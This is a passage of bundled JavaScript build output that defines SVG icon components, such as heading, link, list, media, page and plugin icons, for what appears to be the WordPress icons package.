  var heading_level_3_default = /* @__PURE__ */ (0, import_jsx_runtime62.jsx)(import_primitives61.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime62.jsx)(import_primitives61.Path, { d: "M9 11H5V7H3v10h2v-4h4v4h2V7H9v4zm11.3 1.7c-.4-.4-1-.7-1.6-.8v-.1c.6-.2 1.1-.5 1.5-.9.3-.4.5-.8.5-1.3 0-.4-.1-.8-.3-1.1-.2-.3-.5-.6-.8-.8-.4-.2-.8-.4-1.2-.5-.6-.1-1.1-.2-1.6-.2-.6 0-1.3.1-1.8.3s-1.1.5-1.6.9l1.2 1.4c.4-.2.7-.4 1.1-.6.3-.2.7-.3 1.1-.3.4 0 .8.1 1.1.3.3.2.4.5.4.8 0 .4-.2.7-.6.9-.7.3-1.5.5-2.2.4v1.6c.5 0 1 0 1.5.1.3.1.7.2 1 .3.2.1.4.2.5.4s.1.4.1.6c0 .3-.2.7-.5.8-.4.2-.9.3-1.4.3s-1-.1-1.4-.3c-.4-.2-.8-.4-1.2-.7L13 15.6c.5.4 1 .8 1.6 1 .7.3 1.5.4 2.3.4.6 0 1.1-.1 1.6-.2.4-.1.9-.2 1.3-.5.4-.2.7-.5.9-.9.2-.4.3-.8.3-1.2 0-.6-.3-1.1-.7-1.5z" }) });

  // packages/icons/build-module/library/heading-level-4.mjs
  var import_primitives62 = __toESM(require_primitives(), 1);
  var import_jsx_runtime63 = __toESM(require_jsx_runtime(), 1);
  var heading_level_4_default = /* @__PURE__ */ (0, import_jsx_runtime63.jsx)(import_primitives62.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime63.jsx)(import_primitives62.Path, { d: "M20 13V7h-3l-4 6v2h5v2h2v-2h1v-2h-1zm-2 0h-2.8L18 9v4zm-9-2H5V7H3v10h2v-4h4v4h2V7H9v4z" }) });

  // packages/icons/build-module/library/heading-level-5.mjs
  var import_primitives63 = __toESM(require_primitives(), 1);
  var import_jsx_runtime64 = __toESM(require_jsx_runtime(), 1);
  var heading_level_5_default = /* @__PURE__ */ (0, import_jsx_runtime64.jsx)(import_primitives63.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime64.jsx)(import_primitives63.Path, { d: "M9 11H5V7H3v10h2v-4h4v4h2V7H9v4zm11.7 1.2c-.2-.3-.5-.7-.8-.9-.3-.3-.7-.5-1.1-.6-.5-.1-.9-.2-1.4-.2-.2 0-.5.1-.7.1-.2.1-.5.1-.7.2l.1-1.9h4.3V7H14l-.3 5 1 .6.5-.2.4-.1c.1-.1.3-.1.4-.1h.5c.5 0 1 .1 1.4.4.4.2.6.7.6 1.1 0 .4-.2.8-.6 1.1-.4.3-.9.4-1.4.4-.4 0-.9-.1-1.3-.3-.4-.2-.7-.4-1.1-.7 0 0-1.1 1.4-1 1.5.5.4 1 .8 1.6 1 .7.3 1.5.4 2.3.4.5 0 1-.1 1.5-.3s.9-.4 1.3-.7c.4-.3.7-.7.9-1.1s.3-.9.3-1.4-.1-1-.3-1.4z" }) });

  // packages/icons/build-module/library/heading-level-6.mjs
  var import_primitives64 = __toESM(require_primitives(), 1);
  var import_jsx_runtime65 = __toESM(require_jsx_runtime(), 1);
  var heading_level_6_default = /* @__PURE__ */ (0, import_jsx_runtime65.jsx)(import_primitives64.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime65.jsx)(import_primitives64.Path, { d: "M20.7 12.4c-.2-.3-.4-.6-.7-.9s-.6-.5-1-.6c-.4-.2-.8-.2-1.2-.2-.5 0-.9.1-1.3.3s-.8.5-1.2.8c0-.5 0-.9.2-1.4l.6-.9c.2-.2.5-.4.8-.5.6-.2 1.3-.2 1.9 0 .3.1.6.3.8.5 0 0 1.3-1.3 1.3-1.4-.4-.3-.9-.6-1.4-.8-.6-.2-1.3-.3-2-.3-.6 0-1.1.1-1.7.4-.5.2-1 .5-1.4.9-.4.4-.8 1-1 1.6-.3.7-.4 1.5-.4 2.3s.1 1.5.3 2.1c.2.6.6 1.1 1 1.5.4.4.9.7 1.4.9 1 .3 2 .3 3 0 .4-.1.8-.3 1.2-.6.3-.3.6-.6.8-1 .2-.5.3-.9.3-1.4s-.1-.9-.3-1.3zm-2 2.1c-.1.2-.3.4-.4.5-.1.1-.3.2-.5.2-.2.1-.4.1-.6.1-.2.1-.5 0-.7-.1-.2 0-.3-.2-.5-.3-.1-.2-.3-.4-.4-.6-.2-.3-.3-.7-.3-1 .3-.3.6-.5 1-.7.3-.1.7-.2 1-.2.4 0 .8.1 1.1.3.3.3.4.7.4 1.1 0 .2 0 .5-.1.7zM9 11H5V7H3v10h2v-4h4v4h2V7H9v4z" }) });

  // packages/icons/build-module/library/heading.mjs
  var import_primitives65 = __toESM(require_primitives(), 1);
  var import_jsx_runtime66 = __toESM(require_jsx_runtime(), 1);
  var heading_default = /* @__PURE__ */ (0, import_jsx_runtime66.jsx)(import_primitives65.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime66.jsx)(import_primitives65.Path, { d: "M6 5V18.5911L12 13.8473L18 18.5911V5H6Z" }) });

  // packages/icons/build-module/library/home.mjs
  var import_primitives66 = __toESM(require_primitives(), 1);
  var import_jsx_runtime67 = __toESM(require_jsx_runtime(), 1);
  var home_default = /* @__PURE__ */ (0, import_jsx_runtime67.jsx)(import_primitives66.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime67.jsx)(import_primitives66.Path, { d: "M12 4L4 7.9V20h16V7.9L12 4zm6.5 14.5H14V13h-4v5.5H5.5V8.8L12 5.7l6.5 3.1v9.7z" }) });

  // packages/icons/build-module/library/html.mjs
  var import_primitives67 = __toESM(require_primitives(), 1);
  var import_jsx_runtime68 = __toESM(require_jsx_runtime(), 1);
  var html_default = /* @__PURE__ */ (0, import_jsx_runtime68.jsx)(import_primitives67.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime68.jsx)(import_primitives67.Path, { d: "M4.8 11.4H2.1V9H1v6h1.1v-2.6h2.7V15h1.1V9H4.8v2.4zm1.9-1.3h1.7V15h1.1v-4.9h1.7V9H6.7v1.1zM16.2 9l-1.5 2.7L13.3 9h-.9l-.8 6h1.1l.5-4 1.5 2.8 1.5-2.8.5 4h1.1L17 9h-.8zm3.8 5V9h-1.1v6h3.6v-1H20z" }) });

  // packages/icons/build-module/library/image.mjs
  var import_primitives68 = __toESM(require_primitives(), 1);
  var import_jsx_runtime69 = __toESM(require_jsx_runtime(), 1);
  var image_default = /* @__PURE__ */ (0, import_jsx_runtime69.jsx)(import_primitives68.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime69.jsx)(import_primitives68.Path, { d: "M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM5 4.5h14c.3 0 .5.2.5.5v8.4l-3-2.9c-.3-.3-.8-.3-1 0L11.9 14 9 12c-.3-.2-.6-.2-.8 0l-3.6 2.6V5c-.1-.3.1-.5.4-.5zm14 15H5c-.3 0-.5-.2-.5-.5v-2.4l4.1-3 3 1.9c.3.2.7.2.9-.1L16 12l3.5 3.4V19c0 .3-.2.5-.5.5z" }) });

  // packages/icons/build-module/library/keyboard-return.mjs
  var import_primitives69 = __toESM(require_primitives(), 1);
  var import_jsx_runtime70 = __toESM(require_jsx_runtime(), 1);
  var keyboard_return_default = /* @__PURE__ */ (0, import_jsx_runtime70.jsx)(import_primitives69.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime70.jsx)(import_primitives69.Path, { d: "m6.734 16.106 2.176-2.38-1.093-1.028-3.846 4.158 3.846 4.158 1.093-1.028-2.176-2.38h2.811c1.125 0 2.25.03 3.374 0 1.428-.001 3.362-.25 4.963-1.277 1.66-1.065 2.868-2.906 2.868-5.859 0-2.479-1.327-4.896-3.65-5.93-1.82-.813-3.044-.8-4.806-.788l-.567.002v1.5c.184 0 .368 0 .553-.002 1.82-.007 2.704-.014 4.21.657 1.854.827 2.76 2.657 2.76 4.561 0 2.472-.973 3.824-2.178 4.596-1.258.807-2.864 1.04-4.163 1.04h-.02c-1.115.03-2.229 0-3.344 0H6.734Z" }) });

  // packages/icons/build-module/library/layout.mjs
  var import_primitives70 = __toESM(require_primitives(), 1);
  var import_jsx_runtime71 = __toESM(require_jsx_runtime(), 1);
  var layout_default = /* @__PURE__ */ (0, import_jsx_runtime71.jsx)(import_primitives70.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime71.jsx)(import_primitives70.Path, { d: "M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z" }) });

  // packages/icons/build-module/library/link-off.mjs
  var import_primitives71 = __toESM(require_primitives(), 1);
  var import_jsx_runtime72 = __toESM(require_jsx_runtime(), 1);
  var link_off_default = /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(import_primitives71.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(import_primitives71.Path, { d: "M17.031 4.703 15.576 4l-1.56 3H14v.03l-2.324 4.47H9.5V13h1.396l-1.502 2.889h-.95a3.694 3.694 0 0 1 0-7.389H10V7H8.444a5.194 5.194 0 1 0 0 10.389h.17L7.5 19.53l1.416.719L15.049 8.5h.507a3.694 3.694 0 0 1 0 7.39H14v1.5h1.556a5.194 5.194 0 0 0 .273-10.383l1.202-2.304Z" }) });

  // packages/icons/build-module/library/link.mjs
  var import_primitives72 = __toESM(require_primitives(), 1);
  var import_jsx_runtime73 = __toESM(require_jsx_runtime(), 1);
  var link_default = /* @__PURE__ */ (0, import_jsx_runtime73.jsx)(import_primitives72.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime73.jsx)(import_primitives72.Path, { d: "M10 17.389H8.444A5.194 5.194 0 1 1 8.444 7H10v1.5H8.444a3.694 3.694 0 0 0 0 7.389H10v1.5ZM14 7h1.556a5.194 5.194 0 0 1 0 10.39H14v-1.5h1.556a3.694 3.694 0 0 0 0-7.39H14V7Zm-4.5 6h5v-1.5h-5V13Z" }) });

  // packages/icons/build-module/library/list-item.mjs
  var import_primitives73 = __toESM(require_primitives(), 1);
  var import_jsx_runtime74 = __toESM(require_jsx_runtime(), 1);
  var list_item_default = /* @__PURE__ */ (0, import_jsx_runtime74.jsx)(import_primitives73.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime74.jsx)(import_primitives73.Path, { d: "M12 11v1.5h8V11h-8zm-6-1c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z" }) });

  // packages/icons/build-module/library/list.mjs
  var import_primitives74 = __toESM(require_primitives(), 1);
  var import_jsx_runtime75 = __toESM(require_jsx_runtime(), 1);
  var list_default = /* @__PURE__ */ (0, import_jsx_runtime75.jsx)(import_primitives74.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime75.jsx)(import_primitives74.Path, { d: "M4 4v1.5h16V4H4zm8 8.5h8V11h-8v1.5zM4 20h16v-1.5H4V20zm4-8c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2z" }) });

  // packages/icons/build-module/library/login.mjs
  var import_primitives75 = __toESM(require_primitives(), 1);
  var import_jsx_runtime76 = __toESM(require_jsx_runtime(), 1);
  var login_default = /* @__PURE__ */ (0, import_jsx_runtime76.jsx)(import_primitives75.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime76.jsx)(import_primitives75.Path, { d: "M11 14.5l1.1 1.1 3-3 .5-.5-.6-.6-3-3-1 1 1.7 1.7H5v1.5h7.7L11 14.5zM16.8 5h-7c-1.1 0-2 .9-2 2v1.5h1.5V7c0-.3.2-.5.5-.5h7c.3 0 .5.2.5.5v10c0 .3-.2.5-.5.5h-7c-.3 0-.5-.2-.5-.5v-1.5H7.8V17c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2z" }) });

  // packages/icons/build-module/library/loop.mjs
  var import_primitives76 = __toESM(require_primitives(), 1);
  var import_jsx_runtime77 = __toESM(require_jsx_runtime(), 1);
  var loop_default = /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(import_primitives76.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(import_primitives76.Path, { d: "M18.1823 11.6392C18.1823 13.0804 17.0139 14.2487 15.5727 14.2487C14.3579 14.2487 13.335 13.4179 13.0453 12.2922L13.0377 12.2625L13.0278 12.2335L12.3985 10.377L12.3942 10.3785C11.8571 8.64997 10.246 7.39405 8.33961 7.39405C5.99509 7.39405 4.09448 9.29465 4.09448 11.6392C4.09448 13.9837 5.99509 15.8843 8.33961 15.8843C8.88499 15.8843 9.40822 15.781 9.88943 15.5923L9.29212 14.0697C8.99812 14.185 8.67729 14.2487 8.33961 14.2487C6.89838 14.2487 5.73003 13.0804 5.73003 11.6392C5.73003 10.1979 6.89838 9.02959 8.33961 9.02959C9.55444 9.02959 10.5773 9.86046 10.867 10.9862L10.8772 10.9836L11.4695 12.7311C11.9515 14.546 13.6048 15.8843 15.5727 15.8843C17.9172 15.8843 19.8178 13.9837 19.8178 11.6392C19.8178 9.29465 17.9172 7.39404 15.5727 7.39404C15.0287 7.39404 14.5066 7.4968 14.0264 7.6847L14.6223 9.20781C14.9158 9.093 15.2358 9.02959 15.5727 9.02959C17.0139 9.02959 18.1823 10.1979 18.1823 11.6392Z" }) });

  // packages/icons/build-module/library/map-marker.mjs
  var import_primitives77 = __toESM(require_primitives(), 1);
  var import_jsx_runtime78 = __toESM(require_jsx_runtime(), 1);
  var map_marker_default = /* @__PURE__ */ (0, import_jsx_runtime78.jsx)(import_primitives77.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime78.jsx)(import_primitives77.Path, { d: "M12 9c-.8 0-1.5.7-1.5 1.5S11.2 12 12 12s1.5-.7 1.5-1.5S12.8 9 12 9zm0-5c-3.6 0-6.5 2.8-6.5 6.2 0 .8.3 1.8.9 3.1.5 1.1 1.2 2.3 2 3.6.7 1 3 3.8 3.2 3.9l.4.5.4-.5c.2-.2 2.6-2.9 3.2-3.9.8-1.2 1.5-2.5 2-3.6.6-1.3.9-2.3.9-3.1C18.5 6.8 15.6 4 12 4zm4.3 8.7c-.5 1-1.1 2.2-1.9 3.4-.5.7-1.7 2.2-2.4 3-.7-.8-1.9-2.3-2.4-3-.8-1.2-1.4-2.3-1.9-3.3-.6-1.4-.7-2.2-.7-2.5 0-2.6 2.2-4.7 5-4.7s5 2.1 5 4.7c0 .2-.1 1-.7 2.4z" }) });

  // packages/icons/build-module/library/math.mjs
  var import_primitives78 = __toESM(require_primitives(), 1);
  var import_jsx_runtime79 = __toESM(require_jsx_runtime(), 1);
  var math_default = /* @__PURE__ */ (0, import_jsx_runtime79.jsx)(import_primitives78.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime79.jsx)(import_primitives78.Path, { d: "M11.2 6.8c-.7 0-1.4.5-1.6 1.1l-2.8 7.5-1.2-1.8c-.1-.2-.4-.3-.6-.3H3v1.5h1.6l1.2 1.8c.6.9 1.9.7 2.2-.3l2.9-7.9s.1-.2.2-.2h7.8V6.7h-7.8Zm5.3 3.4-1.9 1.9-1.9-1.9-1.1 1.1 1.9 1.9-1.9 1.9 1.1 1.1 1.9-1.9 1.9 1.9 1.1-1.1-1.9-1.9 1.9-1.9-1.1-1.1Z" }) });

  // packages/icons/build-module/library/media-and-text.mjs
  var import_primitives79 = __toESM(require_primitives(), 1);
  var import_jsx_runtime80 = __toESM(require_jsx_runtime(), 1);
  var media_and_text_default = /* @__PURE__ */ (0, import_jsx_runtime80.jsx)(import_primitives79.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime80.jsx)(import_primitives79.Path, { d: "M3 6v11.5h8V6H3Zm11 3h7V7.5h-7V9Zm7 3.5h-7V11h7v1.5ZM14 16h7v-1.5h-7V16Z" }) });

  // packages/icons/build-module/library/media.mjs
  var import_primitives80 = __toESM(require_primitives(), 1);
  var import_jsx_runtime81 = __toESM(require_jsx_runtime(), 1);
  var media_default = /* @__PURE__ */ (0, import_jsx_runtime81.jsxs)(import_primitives80.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
    /* @__PURE__ */ (0, import_jsx_runtime81.jsx)(import_primitives80.Path, { d: "m7 6.5 4 2.5-4 2.5z" }),
    /* @__PURE__ */ (0, import_jsx_runtime81.jsx)(import_primitives80.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "m5 3c-1.10457 0-2 .89543-2 2v14c0 1.1046.89543 2 2 2h14c1.1046 0 2-.8954 2-2v-14c0-1.10457-.8954-2-2-2zm14 1.5h-14c-.27614 0-.5.22386-.5.5v10.7072l3.62953-2.6465c.25108-.1831.58905-.1924.84981-.0234l2.92666 1.8969 3.5712-3.4719c.2911-.2831.7545-.2831 1.0456 0l2.9772 2.8945v-9.3568c0-.27614-.2239-.5-.5-.5zm-14.5 14.5v-1.4364l4.09643-2.987 2.99567 1.9417c.2936.1903.6798.1523.9307-.0917l3.4772-3.3806 3.4772 3.3806.0228-.0234v2.5968c0 .2761-.2239.5-.5.5h-14c-.27614 0-.5-.2239-.5-.5z" })
  ] });

  // packages/icons/build-module/library/menu.mjs
  var import_primitives81 = __toESM(require_primitives(), 1);
  var import_jsx_runtime82 = __toESM(require_jsx_runtime(), 1);
  var menu_default = /* @__PURE__ */ (0, import_jsx_runtime82.jsx)(import_primitives81.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime82.jsx)(import_primitives81.Path, { d: "M5 5v1.5h14V5H5zm0 7.8h14v-1.5H5v1.5zM5 19h14v-1.5H5V19z" }) });

  // packages/icons/build-module/library/more-vertical.mjs
  var import_primitives82 = __toESM(require_primitives(), 1);
  var import_jsx_runtime83 = __toESM(require_jsx_runtime(), 1);
  var more_vertical_default = /* @__PURE__ */ (0, import_jsx_runtime83.jsx)(import_primitives82.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime83.jsx)(import_primitives82.Path, { d: "M13 19h-2v-2h2v2zm0-6h-2v-2h2v2zm0-6h-2V5h2v2z" }) });

  // packages/icons/build-module/library/more.mjs
  var import_primitives83 = __toESM(require_primitives(), 1);
  var import_jsx_runtime84 = __toESM(require_jsx_runtime(), 1);
  var more_default = /* @__PURE__ */ (0, import_jsx_runtime84.jsx)(import_primitives83.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime84.jsx)(import_primitives83.Path, { d: "M4 9v1.5h16V9H4zm12 5.5h4V13h-4v1.5zm-6 0h4V13h-4v1.5zm-6 0h4V13H4v1.5z" }) });

  // packages/icons/build-module/library/navigation-overlay.mjs
  var import_primitives84 = __toESM(require_primitives(), 1);
  var import_jsx_runtime85 = __toESM(require_jsx_runtime(), 1);
  var navigation_overlay_default = /* @__PURE__ */ (0, import_jsx_runtime85.jsx)(import_primitives84.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime85.jsx)(import_primitives84.Path, { d: "M18.5 10a1.5 1.5 0 0 1 1.5 1.5v7a1.5 1.5 0 0 1-1.5 1.5h-7a1.5 1.5 0 0 1-1.5-1.5v-7a1.5 1.5 0 0 1 1.5-1.5zM16 4a2 2 0 0 1 2 2v2h-1.5V6a.5.5 0 0 0-.5-.5H6a.5.5 0 0 0-.5.5v3H8v1.5H5.5V16a.5.5 0 0 0 .5.5h2V18H6a2 2 0 0 1-2-2V6a2 2 0 0 1 2-2z" }) });

  // packages/icons/build-module/library/navigation.mjs
  var import_primitives85 = __toESM(require_primitives(), 1);
  var import_jsx_runtime86 = __toESM(require_jsx_runtime(), 1);
  var navigation_default = /* @__PURE__ */ (0, import_jsx_runtime86.jsx)(import_primitives85.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime86.jsx)(import_primitives85.Path, { d: "M12 4c-4.4 0-8 3.6-8 8s3.6 8 8 8 8-3.6 8-8-3.6-8-8-8zm0 14.5c-3.6 0-6.5-2.9-6.5-6.5S8.4 5.5 12 5.5s6.5 2.9 6.5 6.5-2.9 6.5-6.5 6.5zM9 16l4.5-3L15 8.4l-4.5 3L9 16z" }) });

  // packages/icons/build-module/library/next.mjs
  var import_primitives86 = __toESM(require_primitives(), 1);
  var import_jsx_runtime87 = __toESM(require_jsx_runtime(), 1);
  var next_default = /* @__PURE__ */ (0, import_jsx_runtime87.jsx)(import_primitives86.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime87.jsx)(import_primitives86.Path, { d: "M6.6 6L5.4 7l4.5 5-4.5 5 1.1 1 5.5-6-5.4-6zm6 0l-1.1 1 4.5 5-4.5 5 1.1 1 5.5-6-5.5-6z" }) });

  // packages/icons/build-module/library/overlay-text.mjs
  var import_primitives87 = __toESM(require_primitives(), 1);
  var import_jsx_runtime88 = __toESM(require_jsx_runtime(), 1);
  var overlay_text_default = /* @__PURE__ */ (0, import_jsx_runtime88.jsx)(import_primitives87.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime88.jsx)(import_primitives87.Path, { d: "M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12-9.8c.4 0 .8-.3.9-.7l1.1-3h3.6l.5 1.7h1.9L13 9h-2.2l-3.4 9.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v12H20V6c0-1.1-.9-2-2-2zm-6 7l1.4 3.9h-2.7L12 11z" }) });

  // packages/icons/build-module/library/page-break.mjs
  var import_primitives88 = __toESM(require_primitives(), 1);
  var import_jsx_runtime89 = __toESM(require_jsx_runtime(), 1);
  var page_break_default = /* @__PURE__ */ (0, import_jsx_runtime89.jsx)(import_primitives88.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime89.jsx)(import_primitives88.Path, { d: "M17.5 9V6a2 2 0 0 0-2-2h-7a2 2 0 0 0-2 2v3H8V6a.5.5 0 0 1 .5-.5h7a.5.5 0 0 1 .5.5v3h1.5Zm0 6.5V18a2 2 0 0 1-2 2h-7a2 2 0 0 1-2-2v-2.5H8V18a.5.5 0 0 0 .5.5h7a.5.5 0 0 0 .5-.5v-2.5h1.5ZM4 13h16v-1.5H4V13Z" }) });

  // packages/icons/build-module/library/page.mjs
  var import_primitives89 = __toESM(require_primitives(), 1);
  var import_jsx_runtime90 = __toESM(require_jsx_runtime(), 1);
  var page_default = /* @__PURE__ */ (0, import_jsx_runtime90.jsxs)(import_primitives89.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
    /* @__PURE__ */ (0, import_jsx_runtime90.jsx)(import_primitives89.Path, { d: "M15.5 7.5h-7V9h7V7.5Zm-7 3.5h7v1.5h-7V11Zm7 3.5h-7V16h7v-1.5Z" }),
    /* @__PURE__ */ (0, import_jsx_runtime90.jsx)(import_primitives89.Path, { d: "M17 4H7a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2ZM7 5.5h10a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H7a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5Z" })
  ] });

  // packages/icons/build-module/library/pages.mjs
  var import_primitives90 = __toESM(require_primitives(), 1);
  var import_jsx_runtime91 = __toESM(require_jsx_runtime(), 1);
  var pages_default = /* @__PURE__ */ (0, import_jsx_runtime91.jsxs)(import_primitives90.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
    /* @__PURE__ */ (0, import_jsx_runtime91.jsx)(import_primitives90.Path, { d: "M14.5 5.5h-7V7h7V5.5ZM7.5 9h7v1.5h-7V9Zm7 3.5h-7V14h7v-1.5Z" }),
    /* @__PURE__ */ (0, import_jsx_runtime91.jsx)(import_primitives90.Path, { d: "M16 2H6a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2ZM6 3.5h10a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H6a.5.5 0 0 1-.5-.5V4a.5.5 0 0 1 .5-.5Z" }),
    /* @__PURE__ */ (0, import_jsx_runtime91.jsx)(import_primitives90.Path, { d: "M20 8v11c0 .69-.31 1-.999 1H6v1.5h13.001c1.52 0 2.499-.982 2.499-2.5V8H20Z" })
  ] });

  // packages/icons/build-module/library/paragraph.mjs
  var import_primitives91 = __toESM(require_primitives(), 1);
  var import_jsx_runtime92 = __toESM(require_jsx_runtime(), 1);
  var paragraph_default = /* @__PURE__ */ (0, import_jsx_runtime92.jsx)(import_primitives91.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime92.jsx)(import_primitives91.Path, { d: "m9.99609 14v-.2251l.00391.0001v6.225h1.5v-14.5h2.5v14.5h1.5v-14.5h3v-1.5h-8.50391c-2.76142 0-5 2.23858-5 5 0 2.7614 2.23858 5 5 5z" }) });

  // packages/icons/build-module/library/pencil.mjs
  var import_primitives92 = __toESM(require_primitives(), 1);
  var import_jsx_runtime93 = __toESM(require_jsx_runtime(), 1);
  var pencil_default = /* @__PURE__ */ (0, import_jsx_runtime93.jsx)(import_primitives92.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime93.jsx)(import_primitives92.Path, { d: "m19 7-3-3-8.5 8.5-1 4 4-1L19 7Zm-7 11.5H5V20h7v-1.5Z" }) });

  // packages/icons/build-module/library/pin.mjs
  var import_primitives93 = __toESM(require_primitives(), 1);
  var import_jsx_runtime94 = __toESM(require_jsx_runtime(), 1);
  var pin_default = /* @__PURE__ */ (0, import_jsx_runtime94.jsx)(import_primitives93.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime94.jsx)(import_primitives93.Path, { d: "m21.5 9.1-6.6-6.6-4.2 5.6c-1.2-.1-2.4.1-3.6.7-.1 0-.1.1-.2.1-.5.3-.9.6-1.2.9l3.7 3.7-5.7 5.7v1.1h1.1l5.7-5.7 3.7 3.7c.4-.4.7-.8.9-1.2.1-.1.1-.2.2-.3.6-1.1.8-2.4.6-3.6l5.6-4.1zm-7.3 3.5.1.9c.1.9 0 1.8-.4 2.6l-6-6c.8-.4 1.7-.5 2.6-.4l.9.1L15 4.9 19.1 9l-4.9 3.6z" }) });

  // packages/icons/build-module/library/plugins.mjs
  var import_primitives94 = __toESM(require_primitives(), 1);
  var import_jsx_runtime95 = __toESM(require_jsx_runtime(), 1);
  var plugins_default = /* @__PURE__ */ (0, import_jsx_runtime95.jsx)(import_primitives94.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime95.jsx)(import_primitives94.Path, { d: "M10.5 4v4h3V4H15v4h1.5a1 1 0 011 1v4l-3 4v2a1 1 0 01-1 1h-3a1 1 0 01-1-1v-2l-3-4V9a1 1 0 011-1H9V4h1.5zm.5 12.5v2h2v-2l3-4v-3H8v3l3 4z" }) });

  // packages/icons/build-module/library/plus.mjs
  var import_primitives95 = __toESM(require_primitives(), 1);
  var import_jsx_runtime96 = __toESM(require_jsx_runtime(), 1);
  var plus_default = /* @__PURE__ */ (0, import_jsx_runtime96.jsx)(import_primitives95.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime96.jsx)(import_primitives95.Path, { d: "M11 12.5V17.5H12.5V12.5H17.5V11H12.5V6H11V11H6V12.5H11Z" }) });

  // packages/icons/build-module/library/position-center.mjs
  var import_primitives96 = __toESM(require_primitives(), 1);
